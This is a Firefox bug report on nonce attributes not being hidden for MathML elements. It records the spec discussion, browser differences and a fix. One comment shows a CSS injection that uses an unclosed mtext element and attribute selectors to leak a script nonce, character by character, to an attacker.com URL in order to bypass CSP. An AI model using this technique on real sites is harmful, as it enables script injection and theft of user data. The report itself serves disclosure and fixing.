nonce side-channels hiding is not implemented for MathML elements
Categories
(Core :: DOM: Security, defect)
Tracking
()
People
(Reporter: fwang, Assigned: fwang)
References
Details
(Keywords: reporter-external, sec-low, Whiteboard: [adv-main152+])
Attachments
(1 file, 1 external file, 2 obsolete files)
|
2.48 KB,
patch
|
Details | Diff | Splinter Review |
From https://html.spec.whatwg.org/multipage/urls-and-fetching.html#nonce-attributes :
"Elements that have a nonce content attribute ensure that the cryptographic nonce is only exposed to script (and not to side-channels like CSS attribute selectors) by taking the value from the content attribute, moving it into an internal slot named [[CryptographicNonce]], exposing it to script via the HTMLOrSVGElement interface mixin, and setting the content attribute to the empty string. Unless otherwise specified, the slot's value is the empty string."
This is not implemented for MathML, see this simple patch for the WPT repo that extends similar HTML/SVG tests to MathML. These tests fail in Firefox at https://hg-edge.mozilla.org/integration/autoland/rev/6ba2c924f7fe
This was originally reported in Chromium at https://issues.chromium.org/u/1/issues/46987849 ; this report is copied from https://bugs.webkit.org/show_bug.cgi?id=304487
Similar bugs for HTML and SVG was originally fixed in bug 1374612 and bug 1871112.
(Note: we should really do the renaming of https://github.com/web-platform-tests/wpt/pull/55231 at some point...)
| Assignee | ||
Updated•10 months ago
|
| Assignee | ||
Updated•10 months ago
|
| Comment hidden (obsolete) |
Updated•10 months ago
|
| Assignee | ||
Comment 2•10 months ago
|
||
| Assignee | ||
Comment 3•10 months ago
|
||
I commented on https://issues.chromium.org/issues/469878491#comment11 ; but
-
https://github.com/whatwg/html/issues/4702 is not fixed yet ; and Firefox only seems to implement nonce for SVG/HTML not for HTMLOrForeignElement.
-
I'm not sure this is relevant for MathML in any case, since we don't have style/script elements and I'm not aware of a parsing behavior similar to body/html that allows to steal attributes from children (https://issues.chromium.org/issues/41485789). Waiting clarification from reporter.
Comment 4•10 months ago
|
||
I think Firefox only has special handling for nonce on <script> and <style> elements: I can style other elements based on a nonce attributes
There's some code that handles nonce specially only if 1) there's a CSP, and 2) that CSP is delivered in an HTTP header (see link below). That comes from bug 1374612, but something else must have made a similar change somewhere else later because the behavior doesn't seem to depend on whether there's a CSP on the document or not.
https://searchfox.org/firefox-main/rev/929fb12c1318659f24965f2908dec6e5fd56d9d9/dom/html/nsGenericHTMLElement.cpp#880-882
At the moment Firefox is handling MathML the way it handles HTML and SVG: it only hides the nonce on <script> and <style> elements :-)
Comment 5•10 months ago
|
||
I'm conflating different things. First, the HTML spec applies the same behavior to all HTML/SVG elements:
- if your script updates a DOM
.nonceproperty it is not reflected back into the element'snonceattribute - IFF your document has a HEADER csp then the
nonceattributes on all elements are set to empty string (but the DOM property contains the value)
Second, separately from that CSS attribute selectors won't match on a nonce attribute value on a <stryle> or <script> element even if #2 doesn't apply, and even if the page doesn't have a CSP at all! That's a good thing for protecting pages that are only able to deploy CSP in a <meta>, but why not apply it to every element like the first mechanism? Either a nonce attribute on those other elements are dangerous or they aren't. I can't figure out where this is specified, but it makes sense and is consistent across browsers.
For #2 above, why only a HEADER policy? Firefox seems to only do this if there's an enforced policy in the header; a report-only policy doesn't count. Chrome does this if there's either kind of policy in a header.
Note that step 2. doesn't apply to calling .setAttribute() on an existing element. That's a footgun left for the web developer.
Clearly it would be better for MathML elements to be consistent with the other standard elements developers work with, but it doesn't seem like much of a CSP security problem if there aren't MathML script or style tags. What security severity rating did the Chrome and Webkit folks assign to their versions of this bug?
| Assignee | ||
Comment 6•10 months ago
|
||
@Daniel Veditz Thanks for the detailed information, I was not aware of these subtle behavior differences. Clearly, we need some interop/spec work here...
Regarding the MathML case, Chromium/WebKit folks didn't really get engaged into the discussion. I cc'ed you to https://issues.chromium.org/issues/469878491 ; the original report seems unclear since MathML does not have script/style element and it's unlikely someone would put a nonce on an mtext. The reply from the report is confusing since they seems to assume the attacker already knows the nonce value: https://issues.chromium.org/issues/469878491#comment12 ; anyway I believe we can still use an unclosed <mtext to steal the nonce of a following script, so that seems valid report at the end. WDYT?
Comment 7•10 months ago
|
||
I can't see the linked issue. I would be curious to hear more about the <mtext problem.
Updated•10 months ago
|
Comment 8•9 months ago
|
||
The severity field is not set for this bug.
:freddy, could you have a look please?
For more information, please visit BugBot documentation.
Updated•9 months ago
|
| Assignee | ||
Comment 9•5 months ago
|
||
The spec has been updated for MathML elements: https://html.spec.whatwg.org/multipage/urls-and-fetching.html#nonce-attributes
I'll take a look at it.
| Assignee | ||
Comment 10•5 months ago
|
||
| Assignee | ||
Comment 11•5 months ago
|
||
I'll attach a patch that fixes the WPT test failures for the tests added in attachment 9585088 [details] [diff] [review].
Note that it seems difficult to reproduce the original report with Firefox. However, if you serve WPT tests with attachment 9585088 [details] [diff] [review] applies, open http://127.0.0.1:8000/content-security-policy/nonce-hiding/nonces-css-selector.html and check the network, you can see some undesired requests to the URL used as a background image. For me this does not show up easily, even after hard reload. What I have to do is modify nonces-css-selector.html to use a different file than abe.png, save and reload.
(In reply to Tom Schuster from comment #7)
I can't see the linked issue. I would be curious to hear more about the
<mtextproblem.
I had cc'ed you to the Chromium issue. It seems the report was assisted with AI (at least initially) and a bit confusing to me, but my understanding is:
- A page is served with
Content-Security-Policy: script-src 'nonce-abc'with some<script nonce="abc">script. - Suppose attacker is able to inject the following code snippet in front of the script tag (with unclosed mtext)
<style>
mtext[nonce^=a] { background-image: url(attacker.com/leak?char=a); }
</style>
<math><mtext
then the mtext element will steal the nonce attribute and the selector will match, so a request to the URL's attacker will reveal that the script nonce attribute starts with letter 'a'
- Attacker can repeat several times with different selectors ^=aa, ^=ab, ^=aba, ... to completely determine the nonce attribute.
- Now attacker can inject a <script nonce="abc"> attribute to execute arbitrary script, bypassing the
script-srcprotection.
| Assignee | ||
Comment 12•5 months ago
|
||
Comment 13•5 months ago
|
||
Comment 14•5 months ago
|
||
Updated•5 months ago
|
Updated•5 months ago
|
Updated•4 months ago
|
Updated•1 month ago
|
Description
•